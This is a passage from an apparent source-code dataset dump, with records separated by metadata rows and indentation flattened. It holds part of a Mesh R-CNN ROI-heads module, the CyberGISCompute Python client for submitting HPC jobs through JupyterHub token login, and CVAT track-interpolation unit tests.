proposal_boxes = [x.proposal_boxes for x in proposals]
z_features = self.z_pooler(features, proposal_boxes)
z_pred = self.z_head(z_features)
src_boxes = cat([p.tensor for p in proposal_boxes])
loss_z_reg = z_rcnn_loss(
z_pred,
proposals,
src_boxes,
loss_weight=self.z_loss_weight,
smooth_l1_beta=self.z_smooth_l1_beta,
)
return {"loss_z_reg": loss_z_reg}
else:
pred_boxes = [x.pred_boxes for x in instances]
z_features = self.z_pooler(features, pred_boxes)
z_pred = self.z_head(z_features)
z_rcnn_inference(z_pred, instances)
return instances
def _forward_mask(self, features, instances):
if not self.mask_on:
return {} if self.training else instances
features = [features[f] for f in self.in_features]
if self.training:
proposals, _ = select_foreground_proposals(instances, self.num_classes)
proposal_boxes = [x.proposal_boxes for x in proposals]
mask_features = self.mask_pooler(features, proposal_boxes)
mask_logits = self.mask_head.layers(mask_features)
loss_mask, target_masks = mask_rcnn_loss(mask_logits, proposals)
if self._vis:
self._misc["target_masks"] = target_masks
self._misc["fg_proposals"] = proposals
return {"loss_mask": loss_mask}
else:
pred_boxes = [x.pred_boxes for x in instances]
mask_features = self.mask_pooler(features, pred_boxes)
return self.mask_head(mask_features, instances)
def _forward_shape(self, features, instances):
if not self.voxel_on and not self.mesh_on:
return {} if self.training else instances
features = [features[f] for f in self.in_features]
if self.training:
proposals, _ = select_foreground_proposals(instances, self.num_classes)
proposal_boxes = [x.proposal_boxes for x in proposals]
losses = {}
if self.voxel_on:
voxel_features = self.voxel_pooler(features, proposal_boxes)
voxel_logits = self.voxel_head(voxel_features)
loss_voxel, target_voxels = voxel_rcnn_loss(
voxel_logits, proposals, loss_weight=self.voxel_loss_weight
)
losses.update({"loss_voxel": loss_voxel})
if self._vis:
self._misc["target_voxels"] = target_voxels
if self.cls_agnostic_voxel:
with torch.no_grad():
vox_in = voxel_logits.sigmoid().squeeze(1)
init_mesh = cubify(vox_in, self.cubify_thresh)
else:
raise ValueError("No support for class specific predictions")
if self.mesh_on:
mesh_features = self.mesh_pooler(features, proposal_boxes)
if not self.voxel_on:
if mesh_features.shape[0] > 0:
init_mesh = ico_sphere(self.ico_sphere_level, mesh_features.device)
init_mesh = init_mesh.extend(mesh_features.shape[0])
else:
init_mesh = Meshes(verts=[], faces=[])
pred_meshes = self.mesh_head(mesh_features, init_mesh)
loss_weights = {
"chamfer": self.chamfer_loss_weight,
"normals": self.normals_loss_weight,
"edge": self.edge_loss_weight,
}
if not pred_meshes[0].isempty():
loss_chamfer, loss_normals, loss_edge, target_meshes = mesh_rcnn_loss(
pred_meshes,
proposals,
loss_weights=loss_weights,
gt_num_samples=self.gt_num_samples,
pred_num_samples=self.pred_num_samples,
gt_coord_thresh=self.gt_coord_thresh,
)
if self._vis:
self._misc["init_meshes"] = init_mesh
self._misc["target_meshes"] = target_meshes
else:
loss_chamfer = sum(k.sum() for k in self.mesh_head.parameters()) * 0.0
loss_normals = sum(k.sum() for k in self.mesh_head.parameters()) * 0.0
loss_edge = sum(k.sum() for k in self.mesh_head.parameters()) * 0.0
losses.update(
{
"loss_chamfer": loss_chamfer,
"loss_normals": loss_normals,
"loss_edge": loss_edge,
}
)
return losses
else:
pred_boxes = [x.pred_boxes for x in instances]
if self.voxel_on:
voxel_features = self.voxel_pooler(features, pred_boxes)
voxel_logits = self.voxel_head(voxel_features)
voxel_rcnn_inference(voxel_logits, instances)
if self.cls_agnostic_voxel:
with torch.no_grad():
vox_in = voxel_logits.sigmoid().squeeze(1)
init_mesh = cubify(vox_in, self.cubify_thresh)
else:
raise ValueError("No support for class specific predictions")
if self.mesh_on:
mesh_features = self.mesh_pooler(features, pred_boxes)
if not self.voxel_on:
if mesh_features.shape[0] > 0:
init_mesh = ico_sphere(self.ico_sphere_level, mesh_features.device)
init_mesh = init_mesh.extend(mesh_features.shape[0])
else:
init_mesh = Meshes(verts=[], faces=[])
pred_meshes = self.mesh_head(mesh_features, init_mesh)
mesh_rcnn_inference(pred_meshes[-1], instances)
else:
assert self.voxel_on
mesh_rcnn_inference(init_mesh, instances)
return instances
| true | true |
f7263d929de143ba1a7546baa19c897e7ec8745c | 18,460 | py | Python | cybergis_compute_client/CyberGISCompute.py | alexandermichels/cybergis-compute-python-sdk | 6e7790a627368d0031582fe44a58fdb514868950 | [
"Apache-2.0"
] | null | null | null | cybergis_compute_client/CyberGISCompute.py | alexandermichels/cybergis-compute-python-sdk | 6e7790a627368d0031582fe44a58fdb514868950 | [
"Apache-2.0"
] | null | null | null | cybergis_compute_client/CyberGISCompute.py | alexandermichels/cybergis-compute-python-sdk | 6e7790a627368d0031582fe44a58fdb514868950 | [
"Apache-2.0"
] | null | null | null | """
This module exposes CyberGISCompute class which creates a CyberGISCompute
object that serves as an entry point to the CyberGISX environment from a Python/Jupyter notebook.
All interactions with the High Performance Computing (HPC) backend are performed using this object.
Example:
cybergis = CyberGISCompute(url='localhost', port='3030', protocol='HTTP', isJupyter=False)
"""
from .Client import *
from .Job import *
from .UI import *
import base64
import os
from IPython.display import display, Markdown, Javascript
class CyberGISCompute:
"""
CyberGISCompute class
An inteface that handles all interactions with the HPC backend
Attributes:
client (Client object) : Initialized using url(str), protocol(str), port(str) and suffix(str)
jupyterhubApiToken (string) : jupyterhub's REST API token that can be used to authenticate the user
(https://jhubdocs.readthedocs.io/en/latest/jupyterhub/docs/source/rest.html)
username (string) : username
isJupyter (boolean) : set to True if you are working in a jupyter environment.
If you are working in a simple Python environment then set to False
ui (UI) : Serves as entry point to UI functionality
job (Job) : Serves as entry point to access job interactions
recentDownloadPath (str) : Gets the most recent download path from globus
jupyterhubHost (str) : static variable that stores the path to jupyterhubHost
"""
# static variable
jupyterhubHost = None
job = None
def __init__(self, url="cgjobsup.cigi.illinois.edu", port=443, protocol='HTTPS', suffix="", isJupyter=True):
"""
Initializes instance CyberGISCompute using inputs from the client
Args:
url (str) : url that needs to be accessed
port (str) : port of the Jupyter or Python interface
protocol (str) : Typically HTTP or HTTPS
suffix (str) : specify version. For e.g v2
isJupyter(booleans) : set to True if you are using Jupyter environment
Returns:
(obj) : this CyberGISCompute
"""
self.client = Client(url=url, protocol=protocol, port=port, suffix=suffix)
self.jupyterhubApiToken = None
self.username = None
self.isJupyter = isJupyter
self.ui = UI(self)
if isJupyter:
self.enable_jupyter()
# job
self.job = None
self.recentDownloadPath = None
def login(self, manualLogin=True):
"""
Authenticates the client's jupyterhubApiToken and gives them access
to CyberGISCompute features
Args:
manualLogin (boolean) : set to True if env variable and file login modes are not available
Returns :
None
"""
if self.jupyterhubApiToken is not None:
print('🎯 Logged in as ' + self.username)
return
# login via env variable
envToken = os.getenv('JUPYTERHUB_API_TOKEN')
if envToken is not None:
print('💻 Found system token')
try:
token = base64.b64encode((self.jupyterhubHost + '@' + envToken).encode('ascii')).decode('utf-8')
res = self.client.request('GET', '/user', {"jupyterhubApiToken": token})
self.jupyterhubApiToken = token
self.username = res['username']
return self.login()
except:
print('❌ Failed to login via system token')
# login via file
if path.exists('./cybergis_compute_user.json'):
with open(os.path.abspath('cybergis_compute_user.json')) as f:
user = json.load(f)
token = user['token']
print('📃 Found "cybergis_compute_user.json"')
try:
res = self.client.request('GET', '/user', {"jupyterhubApiToken": token})
self.jupyterhubApiToken = token
self.username = res['username']
return self.login()
except:
print('❌ Failed to login via token JSON file')
print('NOTE: if you want to login as another user, please remove this file')
elif manualLogin:
if self.isJupyter:
if (self.jupyterhubHost is not None):
import getpass
print('📢 Please go to Control Panel -> Token, request a new API token')
token = getpass.getpass('enter your API token here')
token = base64.b64encode((self.jupyterhubHost + '@' + token).encode('ascii')).decode('utf-8')
try:
res = self.client.request('GET', '/user', {"jupyterhubApiToken": token})
self.jupyterhubApiToken = token
self.username = res['username']
with open('./cybergis_compute_user.json', 'w') as json_file:
json.dump({"token": token}, json_file)
return self.login()
except:
print('❌ Failed to login via user input')
else:
print('❌ You might not be working on a web browser or enabled JavaScript')
else:
print('❌ Enable Jupyter using .enable_jupyter() before you login')
else:
print('❌ Not logged in. To enable more features, use .login()')
def create_job(self, maintainer='community_contribution', hpc=None, hpcUsername=None, hpcPassword=None, printJob=True):
"""
Creates a job object
Initializes instance CyberGISCompute using inputs from the client
Args:
maintainer (str) : Pre-packaged programs which can be configured and controlled remotely
and behave as a bridge between user and HPC backends
hpc(str) : HPC backend that is being accessed. For e.g 'keeling_community'
hpcUsername (str) : username for HPC backend
hpcPassword (str) : password for HPC backend
printJob (str) : prints the Job infortmation if set to True
Returns:
(Job) : The new job instance that was initialized
"""
self.login()
return Job(maintainer=maintainer, hpc=hpc, id=None, hpcUsername=hpcUsername, hpcPassword=hpcPassword, client=self.client, isJupyter=self.isJupyter, jupyterhubApiToken=self.jupyterhubApiToken, printJob=printJob)
def get_job_by_id(self, id=None):
"""
Returns Job object with the specified id
Args:
id(int) : Job id
Returns
(Job) : Job object with the specified id otherwise None
"""
self.login()
jobs = self.client.request('GET', '/user/job', {"jupyterhubApiToken": self.jupyterhubApiToken})
token = None
for job in jobs['job']:
if (job['id'] == id):
token = job['secretToken']
if (token is None):
print('❌ job with id ' + id + ' was not found')
return Job(secretToken=token, client=self.client, id=id, isJupyter=self.isJupyter, jupyterhubApiToken=self.jupyterhubApiToken)
def get_slurm_usage(self, raw=False):
"""
prints slurm usage
Args:
raw(boolean) : set to True if you want the raw output
Returns
(JSON) : Raw output if raw=True otherwise its printed or displayed directly into the interface
"""
self.login()
usage = self.client.request('GET', '/user/slurm-usage?format={}'.format(not raw), {"jupyterhubApiToken": self.jupyterhubApiToken})
if raw:
return usage
display(Markdown("Nodes: {}<br>Allocated CPUs: {}<br>Total CPU Time: {}<br>Memory Utilized: {}<br>Total Allocated Memory: {}<br>Total Walltime: {}".format(
usage['nodes'], usage['cpus'], usage['cpuTime'], usage['memory'], usage['memoryUsage'], usage['walltime'])))
def list_job(self, raw=False):
"""
prints a list of jobs that were submitted
Args:
raw (boolean) : set to True if you want the raw output
Returns
(JSON) : Raw output if raw=True otherwise its printed or displayed into the interface
"""
self.login()
if self.jupyterhubApiToken is None:
print('❌ please login')
jobs = self.client.request('GET', '/user/job', {"jupyterhubApiToken": self.jupyterhubApiToken})
if raw:
return jobs
headers = ['id', 'hpc', 'executableFolder', 'dataFolder', 'resultFolder', 'param', 'slurm', 'userId', 'maintainer', 'createdAt']
data = []
for job in jobs['job']:
data.append([
job['id'],
job['hpc'],
job['executableFolder'],
job['dataFolder'],
job['resultFolder'],
json.dumps(job['param']),
json.dumps(job['slurm']),
job['userId'],
job['maintainer'],
job['createdAt'],
])
if self.isJupyter:
if len(data) == 0:
print('empty')
return
display(HTML(tabulate(data, headers, numalign='left', stralign='left', colalign=('left', 'left'), tablefmt='html').replace('<td>', '<td style="text-align:left">').replace('<th>', '<th style="text-align:left">')))
else:
print(tabulate(data, headers, tablefmt="presto"))
def list_hpc(self, raw=False):
"""
prints a list of hpc resources that the server supports
Args:
raw (boolean) : set to True if you want the raw output
Returns
(JSON) : Raw output if raw=True otherwise its printed
or displayed directly into the interface
"""
hpc = self.client.request('GET', '/hpc')['hpc']
if raw:
return hpc
headers = ['hpc', 'ip', 'port', 'is_community_account']
data = []
for i in hpc:
data.append([
i,
hpc[i]['ip'],
hpc[i]['port'],
hpc[i]['is_community_account']
])
if self.isJupyter:
if len(data) == 0:
print('empty')
return
display(HTML(tabulate(data, headers, numalign='left', stralign='left', colalign=('left', 'left'), tablefmt='html').replace('<td>', '<td style="text-align:left">').replace('<th>', '<th style="text-align:left">')))
else:
print(tabulate(data, headers, tablefmt="presto"))
def list_container(self, raw=False):
"""
prints a list of containers that the server supports
Args:
raw (boolean) : set to True if you want the raw output
Returns
(JSON) : Raw output if raw=True otherwise its printed
or displayed directly into the interface
"""
container = self.client.request('GET', '/container')['container']
if raw:
return container
headers = ['container name', 'dockerfile', 'dockerhub']
data = []
for i in container:
data.append([
i,
container[i]['dockerfile'],
container[i]['dockerhub']
])
if self.isJupyter:
if len(data) == 0:
print('empty')
return
display(HTML(tabulate(data, headers, numalign='left', stralign='left', colalign=('left', 'left'), tablefmt='html').replace('<td>', '<td style="text-align:left">').replace('<th>', '<th style="text-align:left">')))
else:
print(tabulate(data, headers, tablefmt="presto"))
def list_git(self, raw=False):
"""
prints a list of Git projects that the server supports
Args:
raw (boolean) : set to True if you want the raw output
Returns
(JSON) : Raw output if raw=True otherwise its printed
or displayed directly into the interface
"""
git = self.client.request('GET', '/git')['git']
if raw:
return git
headers = ['link', 'name', 'container', 'repository', 'commit']
data = []
for i in git:
data.append([
'git://' + i,
git[i]['name'],
git[i]['container'],
git[i]['repository'],
git[i]['commit'] if 'commit' in git[i] else 'NONE',
])
if self.isJupyter:
if len(data) == 0:
print('empty')
return
display(HTML(tabulate(data, headers, numalign='left', stralign='left', colalign=('left', 'left'), tablefmt='html').replace('<td>', '<td style="text-align:left">').replace('<th>', '<th style="text-align:left">')))
else:
print(tabulate(data, headers, tablefmt="presto"))
def list_maintainer(self, raw=False):
"""
prints a list of maintainers that the server supports
Args:
raw (boolean) : set to True if you want the raw output
Returns
(JSON) : Raw output if raw=True otherwise its printed
or displayed directly into the interface
"""
maintainers = self.client.request('GET', '/maintainer')['maintainer']
if raw:
return maintainers
headers = ['maintainer', 'hpc', 'default_hpc', 'job_pool_capacity', 'executable_folder->from_user', 'executable_folder->must_have']
data = []
for i in maintainers:
maintainer = maintainers[i]
from_user = 'not specified'
if 'executable_folder' in maintainer:
from_user = maintainer['executable_folder']['from_user']
must_have = 'not specified'
if 'executable_folder' in maintainer:
if 'file_config' in maintainer['executable_folder']:
if 'must_have' in maintainer['executable_folder']['file_config']:
must_have = maintainer['executable_folder']['file_config']['must_have']
data.append([
i,
maintainer['hpc'],
maintainer['default_hpc'],
maintainer['job_pool_capacity'],
from_user,
must_have
])
if self.isJupyter:
if len(data) == 0:
print('empty')
return
display(HTML(tabulate(data, headers, numalign='left', stralign='left', colalign=('left', 'left'), tablefmt='html').replace('<td>', '<td style="text-align:left">').replace('<th>', '<th style="text-align:left">')))
else:
print(tabulate(data, headers, tablefmt="presto"))
# Integrated functions
def list_info(self, list_maintainer=False, list_container=False):
"""
calls list_git, list_hpc, list_job with options to call list_maintainer and list_container
Args:
list_maintainer (boolean) : set to True if you want to call list_maintainer
list_container (boolean) : set to True of you want to call list
Returns
None
"""
print('📦 Git repositories:')
self.list_git()
print('🖥 HPC endpoints:')
self.list_hpc()
if self.is_login():
print('📮 Submitted jobs:')
self.list_job()
if list_container:
print('🗳 Containers:')
self.list_container()
if list_maintainer:
print('🤖 Maintainers:')
self.list_maintainer()
def create_job_by_ui(self, defaultJob="hello_world", defaultDataFolder="./", defaultRemoteResultFolder=None):
"""
Displays the job submission UI
Args:
defaultJob (str) : Stores the default job that shows up on the UI
defaultDataFolder (str) : Stores the default input folder that shows up on the UI
defaultRemoteResultFolder (str) : Stores the default output folder that shows up on the UI
Returns:
None
"""
self.ui.defaultJobName = defaultJob
self.ui.defaultDataFolder = defaultDataFolder
if defaultRemoteResultFolder is not None:
self.ui.defaultRemoteResultFolder = defaultRemoteResultFolder if defaultRemoteResultFolder[0] == '/' else '/' + defaultRemoteResultFolder
self.ui.render()
def get_latest_created_job(self):
"""
Return the current job instance
Args:
None
Returns:
(JOB) : Latest Job object instance
"""
return self.job
# helper functions
def enable_jupyter(self):
"""
sets up jupyter environment in jupyterhubHost
Args:
None
Returns:
None
"""
self.isJupyter = True
# get jupyter variable
url = os.getenv('JUPYTER_INSTANCE_URL')
if url is not None:
CyberGISCompute.jupyterhubHost = url.replace('https://', '').replace('http://', '')
else:
display(Javascript('IPython.notebook.kernel.execute(`CyberGISCompute.jupyterhubHost = "${window.location.host}"`);'))
def get_user_jupyter_globus(self):
"""
Return the current job instance
Args:
None
Returns:
(JOB) : Latest Job object instance
"""
return self.client.request('GET', '/user/jupyter-globus', {"jupyterhubApiToken": self.jupyterhubApiToken})
def is_login(self):
"""
Checks whether jupyterhubApi token exists or not
Args:
None
Returns:
(boolean) : jupyterhubAPI existence check
"""
return self.jupyterhubApiToken is not None
| 41.483146 | 224 | 0.551842 |
from .Client import *
from .Job import *
from .UI import *
import base64
import os
from IPython.display import display, Markdown, Javascript
class CyberGISCompute:
jupyterhubHost = None
job = None
def __init__(self, url="cgjobsup.cigi.illinois.edu", port=443, protocol='HTTPS', suffix="", isJupyter=True):
self.client = Client(url=url, protocol=protocol, port=port, suffix=suffix)
self.jupyterhubApiToken = None
self.username = None
self.isJupyter = isJupyter
self.ui = UI(self)
if isJupyter:
self.enable_jupyter()
self.job = None
self.recentDownloadPath = None
def login(self, manualLogin=True):
if self.jupyterhubApiToken is not None:
print('🎯 Logged in as ' + self.username)
return
envToken = os.getenv('JUPYTERHUB_API_TOKEN')
if envToken is not None:
print('💻 Found system token')
try:
token = base64.b64encode((self.jupyterhubHost + '@' + envToken).encode('ascii')).decode('utf-8')
res = self.client.request('GET', '/user', {"jupyterhubApiToken": token})
self.jupyterhubApiToken = token
self.username = res['username']
return self.login()
except:
print('❌ Failed to login via system token')
if path.exists('./cybergis_compute_user.json'):
with open(os.path.abspath('cybergis_compute_user.json')) as f:
user = json.load(f)
token = user['token']
print('📃 Found "cybergis_compute_user.json"')
try:
res = self.client.request('GET', '/user', {"jupyterhubApiToken": token})
self.jupyterhubApiToken = token
self.username = res['username']
return self.login()
except:
print('❌ Failed to login via token JSON file')
print('NOTE: if you want to login as another user, please remove this file')
elif manualLogin:
if self.isJupyter:
if (self.jupyterhubHost is not None):
import getpass
print('📢 Please go to Control Panel -> Token, request a new API token')
token = getpass.getpass('enter your API token here')
token = base64.b64encode((self.jupyterhubHost + '@' + token).encode('ascii')).decode('utf-8')
try:
res = self.client.request('GET', '/user', {"jupyterhubApiToken": token})
self.jupyterhubApiToken = token
self.username = res['username']
with open('./cybergis_compute_user.json', 'w') as json_file:
json.dump({"token": token}, json_file)
return self.login()
except:
print('❌ Failed to login via user input')
else:
print('❌ You might not be working on a web browser or enabled JavaScript')
else:
print('❌ Enable Jupyter using .enable_jupyter() before you login')
else:
print('❌ Not logged in. To enable more features, use .login()')
def create_job(self, maintainer='community_contribution', hpc=None, hpcUsername=None, hpcPassword=None, printJob=True):
self.login()
return Job(maintainer=maintainer, hpc=hpc, id=None, hpcUsername=hpcUsername, hpcPassword=hpcPassword, client=self.client, isJupyter=self.isJupyter, jupyterhubApiToken=self.jupyterhubApiToken, printJob=printJob)
def get_job_by_id(self, id=None):
self.login()
jobs = self.client.request('GET', '/user/job', {"jupyterhubApiToken": self.jupyterhubApiToken})
token = None
for job in jobs['job']:
if (job['id'] == id):
token = job['secretToken']
if (token is None):
print('❌ job with id ' + id + ' was not found')
return Job(secretToken=token, client=self.client, id=id, isJupyter=self.isJupyter, jupyterhubApiToken=self.jupyterhubApiToken)
def get_slurm_usage(self, raw=False):
self.login()
usage = self.client.request('GET', '/user/slurm-usage?format={}'.format(not raw), {"jupyterhubApiToken": self.jupyterhubApiToken})
if raw:
return usage
display(Markdown("Nodes: {}<br>Allocated CPUs: {}<br>Total CPU Time: {}<br>Memory Utilized: {}<br>Total Allocated Memory: {}<br>Total Walltime: {}".format(
usage['nodes'], usage['cpus'], usage['cpuTime'], usage['memory'], usage['memoryUsage'], usage['walltime'])))
def list_job(self, raw=False):
self.login()
if self.jupyterhubApiToken is None:
print('❌ please login')
jobs = self.client.request('GET', '/user/job', {"jupyterhubApiToken": self.jupyterhubApiToken})
if raw:
return jobs
headers = ['id', 'hpc', 'executableFolder', 'dataFolder', 'resultFolder', 'param', 'slurm', 'userId', 'maintainer', 'createdAt']
data = []
for job in jobs['job']:
data.append([
job['id'],
job['hpc'],
job['executableFolder'],
job['dataFolder'],
job['resultFolder'],
json.dumps(job['param']),
json.dumps(job['slurm']),
job['userId'],
job['maintainer'],
job['createdAt'],
])
if self.isJupyter:
if len(data) == 0:
print('empty')
return
display(HTML(tabulate(data, headers, numalign='left', stralign='left', colalign=('left', 'left'), tablefmt='html').replace('<td>', '<td style="text-align:left">').replace('<th>', '<th style="text-align:left">')))
else:
print(tabulate(data, headers, tablefmt="presto"))
def list_hpc(self, raw=False):
hpc = self.client.request('GET', '/hpc')['hpc']
if raw:
return hpc
headers = ['hpc', 'ip', 'port', 'is_community_account']
data = []
for i in hpc:
data.append([
i,
hpc[i]['ip'],
hpc[i]['port'],
hpc[i]['is_community_account']
])
if self.isJupyter:
if len(data) == 0:
print('empty')
return
display(HTML(tabulate(data, headers, numalign='left', stralign='left', colalign=('left', 'left'), tablefmt='html').replace('<td>', '<td style="text-align:left">').replace('<th>', '<th style="text-align:left">')))
else:
print(tabulate(data, headers, tablefmt="presto"))
def list_container(self, raw=False):
container = self.client.request('GET', '/container')['container']
if raw:
return container
headers = ['container name', 'dockerfile', 'dockerhub']
data = []
for i in container:
data.append([
i,
container[i]['dockerfile'],
container[i]['dockerhub']
])
if self.isJupyter:
if len(data) == 0:
print('empty')
return
display(HTML(tabulate(data, headers, numalign='left', stralign='left', colalign=('left', 'left'), tablefmt='html').replace('<td>', '<td style="text-align:left">').replace('<th>', '<th style="text-align:left">')))
else:
print(tabulate(data, headers, tablefmt="presto"))
def list_git(self, raw=False):
git = self.client.request('GET', '/git')['git']
if raw:
return git
headers = ['link', 'name', 'container', 'repository', 'commit']
data = []
for i in git:
data.append([
'git://' + i,
git[i]['name'],
git[i]['container'],
git[i]['repository'],
git[i]['commit'] if 'commit' in git[i] else 'NONE',
])
if self.isJupyter:
if len(data) == 0:
print('empty')
return
display(HTML(tabulate(data, headers, numalign='left', stralign='left', colalign=('left', 'left'), tablefmt='html').replace('<td>', '<td style="text-align:left">').replace('<th>', '<th style="text-align:left">')))
else:
print(tabulate(data, headers, tablefmt="presto"))
def list_maintainer(self, raw=False):
maintainers = self.client.request('GET', '/maintainer')['maintainer']
if raw:
return maintainers
headers = ['maintainer', 'hpc', 'default_hpc', 'job_pool_capacity', 'executable_folder->from_user', 'executable_folder->must_have']
data = []
for i in maintainers:
maintainer = maintainers[i]
from_user = 'not specified'
if 'executable_folder' in maintainer:
from_user = maintainer['executable_folder']['from_user']
must_have = 'not specified'
if 'executable_folder' in maintainer:
if 'file_config' in maintainer['executable_folder']:
if 'must_have' in maintainer['executable_folder']['file_config']:
must_have = maintainer['executable_folder']['file_config']['must_have']
data.append([
i,
maintainer['hpc'],
maintainer['default_hpc'],
maintainer['job_pool_capacity'],
from_user,
must_have
])
if self.isJupyter:
if len(data) == 0:
print('empty')
return
display(HTML(tabulate(data, headers, numalign='left', stralign='left', colalign=('left', 'left'), tablefmt='html').replace('<td>', '<td style="text-align:left">').replace('<th>', '<th style="text-align:left">')))
else:
print(tabulate(data, headers, tablefmt="presto"))
def list_info(self, list_maintainer=False, list_container=False):
print('📦 Git repositories:')
self.list_git()
print('🖥 HPC endpoints:')
self.list_hpc()
if self.is_login():
print('📮 Submitted jobs:')
self.list_job()
if list_container:
print('🗳 Containers:')
self.list_container()
if list_maintainer:
print('🤖 Maintainers:')
self.list_maintainer()
def create_job_by_ui(self, defaultJob="hello_world", defaultDataFolder="./", defaultRemoteResultFolder=None):
self.ui.defaultJobName = defaultJob
self.ui.defaultDataFolder = defaultDataFolder
if defaultRemoteResultFolder is not None:
self.ui.defaultRemoteResultFolder = defaultRemoteResultFolder if defaultRemoteResultFolder[0] == '/' else '/' + defaultRemoteResultFolder
self.ui.render()
def get_latest_created_job(self):
return self.job
def enable_jupyter(self):
self.isJupyter = True
url = os.getenv('JUPYTER_INSTANCE_URL')
if url is not None:
CyberGISCompute.jupyterhubHost = url.replace('https://', '').replace('http://', '')
else:
display(Javascript('IPython.notebook.kernel.execute(`CyberGISCompute.jupyterhubHost = "${window.location.host}"`);'))
def get_user_jupyter_globus(self):
return self.client.request('GET', '/user/jupyter-globus', {"jupyterhubApiToken": self.jupyterhubApiToken})
def is_login(self):
return self.jupyterhubApiToken is not None
| true | true |
f7263dc3cc4e9a52a26c9b3cc1c629cd0270750c | 5,184 | py | Python | cvat/apps/dataset_manager/tests/test_annotation.py | TOsmanov/cvat | 71f94afd769d84c3fb3e3c720e26d927a47bb27b | [
"Intel",
"MIT"
] | 1 | 2019-12-09T13:53:36.000Z | 2019-12-09T13:53:36.000Z | cvat/apps/dataset_manager/tests/test_annotation.py | TOsmanov/cvat | 71f94afd769d84c3fb3e3c720e26d927a47bb27b | [
"Intel",
"MIT"
] | null | null | null | cvat/apps/dataset_manager/tests/test_annotation.py | TOsmanov/cvat | 71f94afd769d84c3fb3e3c720e26d927a47bb27b | [
"Intel",
"MIT"
] | null | null | null | # Copyright (C) 2020 Intel Corporation
#
# SPDX-License-Identifier: MIT
from cvat.apps.dataset_manager.annotation import TrackManager
from unittest import TestCase
class TrackManagerTest(TestCase):
def _check_interpolation(self, track):
interpolated = TrackManager.get_interpolated_shapes(track, 0, 7)
self.assertEqual(len(interpolated), 6)
self.assertTrue(interpolated[0]["keyframe"])
self.assertFalse(interpolated[1]["keyframe"])
self.assertTrue(interpolated[2]["keyframe"])
self.assertTrue(interpolated[3]["keyframe"])
self.assertFalse(interpolated[4]["keyframe"])
self.assertFalse(interpolated[5]["keyframe"])
def test_point_interpolation(self):
track = {
"frame": 0,
"label_id": 0,
"group": None,
"source": "manual",
"attributes": [],
"shapes": [
{
"frame": 0,
"points": [1.0, 2.0],
"type": "points",
"occluded": False,
"outside": False,
"attributes": []
},
{
"frame": 2,
"attributes": [],
"points": [3.0, 4.0, 5.0, 6.0],
"type": "points",
"occluded": False,
"outside": True
},
{
"frame": 4,
"attributes": [],
"points": [3.0, 4.0, 5.0, 6.0],
"type": "points",
"occluded": False,
"outside": False
},
]
}
self._check_interpolation(track)
def test_polygon_interpolation(self):
track = {
"frame": 0,
"label_id": 0,
"group": None,
"attributes": [],
"source": "manual",
"shapes": [
{
"frame": 0,
"points": [1.0, 2.0, 3.0, 4.0, 5.0, 2.0],
"type": "polygon",
"occluded": False,
"outside": False,
"attributes": []
},
{
"frame": 2,
"attributes": [],
"points": [3.0, 4.0, 5.0, 6.0, 7.0, 6.0, 4.0, 5.0],
"type": "polygon",
"occluded": False,
"outside": True
},
{
"frame": 4,
"attributes": [],
"points": [3.0, 4.0, 5.0, 6.0, 7.0, 6.0, 4.0, 5.0],
"type": "polygon",
"occluded": False,
"outside": False
},
]
}
self._check_interpolation(track)
def test_bbox_interpolation(self):
track = {
"frame": 0,
"label_id": 0,
"group": None,
"attributes": [],
"source": "manual",
"shapes": [
{
"frame": 0,
"points": [1.0, 2.0, 3.0, 4.0],
"type": "rectangle",
"occluded": False,
"outside": False,
"attributes": []
},
{
"frame": 2,
"attributes": [],
"points": [3.0, 4.0, 5.0, 6.0],
"type": "rectangle",
"occluded": False,
"outside": True
},
{
"frame": 4,
"attributes": [],
"points": [3.0, 4.0, 5.0, 6.0],
"type": "rectangle",
"occluded": False,
"outside": False
},
]
}
self._check_interpolation(track)
def test_line_interpolation(self):
track = {
"frame": 0,
"label_id": 0,
"group": None,
"attributes": [],
"source": "manual",
"shapes": [
{
"frame": 0,
"points": [1.0, 2.0, 3.0, 4.0, 5.0, 6.0],
"type": "polyline",
"occluded": False,
"outside": False,
"attributes": []
},
{
"frame": 2,
"attributes": [],
"points": [3.0, 4.0, 5.0, 6.0],
"type": "polyline",
"occluded": False,
"outside": True
},
{
"frame": 4,
"attributes": [],
"points": [3.0, 4.0, 5.0, 6.0],
"type": "polyline",
"occluded": False,
"outside": False
},
]
}
self._check_interpolation(track)
| 30.494118 | 72 | 0.342593 |
from cvat.apps.dataset_manager.annotation import TrackManager
from unittest import TestCase
class TrackManagerTest(TestCase):
def _check_interpolation(self, track):
interpolated = TrackManager.get_interpolated_shapes(track, 0, 7)
self.assertEqual(len(interpolated), 6)
self.assertTrue(interpolated[0]["keyframe"])
self.assertFalse(interpolated[1]["keyframe"])
self.assertTrue(interpolated[2]["keyframe"])
self.assertTrue(interpolated[3]["keyframe"])
self.assertFalse(interpolated[4]["keyframe"])
self.assertFalse(interpolated[5]["keyframe"])
def test_point_interpolation(self):
track = {
"frame": 0,
"label_id": 0,
"group": None,
"source": "manual",
"attributes": [],
"shapes": [
{
"frame": 0,
"points": [1.0, 2.0],
"type": "points",
"occluded": False,
"outside": False,
"attributes": []
},
{
"frame": 2,
"attributes": [],
"points": [3.0, 4.0, 5.0, 6.0],
"type": "points",
"occluded": False,
"outside": True
},
{
"frame": 4,
"attributes": [],
"points": [3.0, 4.0, 5.0, 6.0],
"type": "points",
"occluded": False,
"outside": False
},
]
}
self._check_interpolation(track)
def test_polygon_interpolation(self):
track = {
"frame": 0,
"label_id": 0,
"group": None,
"attributes": [],
"source": "manual",
"shapes": [
{
"frame": 0,
"points": [1.0, 2.0, 3.0, 4.0, 5.0, 2.0],
"type": "polygon",
"occluded": False,
"outside": False,
"attributes": []
},
{
"frame": 2,
"attributes": [],
"points": [3.0, 4.0, 5.0, 6.0, 7.0, 6.0, 4.0, 5.0],
"type": "polygon",
"occluded": False,
"outside": True
},
{
"frame": 4,
"attributes": [],
"points": [3.0, 4.0, 5.0, 6.0, 7.0, 6.0, 4.0, 5.0],
"type": "polygon",
"occluded": False,
"outside": False
},
]
}
self._check_interpolation(track)
def test_bbox_interpolation(self):
track = {
"frame": 0,
"label_id": 0,
"group": None,
"attributes": [],
"source": "manual",
"shapes": [
{
"frame": 0,
"points": [1.0, 2.0, 3.0, 4.0],
"type": "rectangle",
"occluded": False,
"outside": False,
"attributes": []
},
{
"frame": 2,
"attributes": [],
"points": [3.0, 4.0, 5.0, 6.0],
"type": "rectangle",
"occluded": False,
"outside": True
},
{
"frame": 4,
"attributes": [],
"points": [3.0, 4.0, 5.0, 6.0],
"type": "rectangle",
"occluded": False,
"outside": False
},
]
}
self._check_interpolation(track)
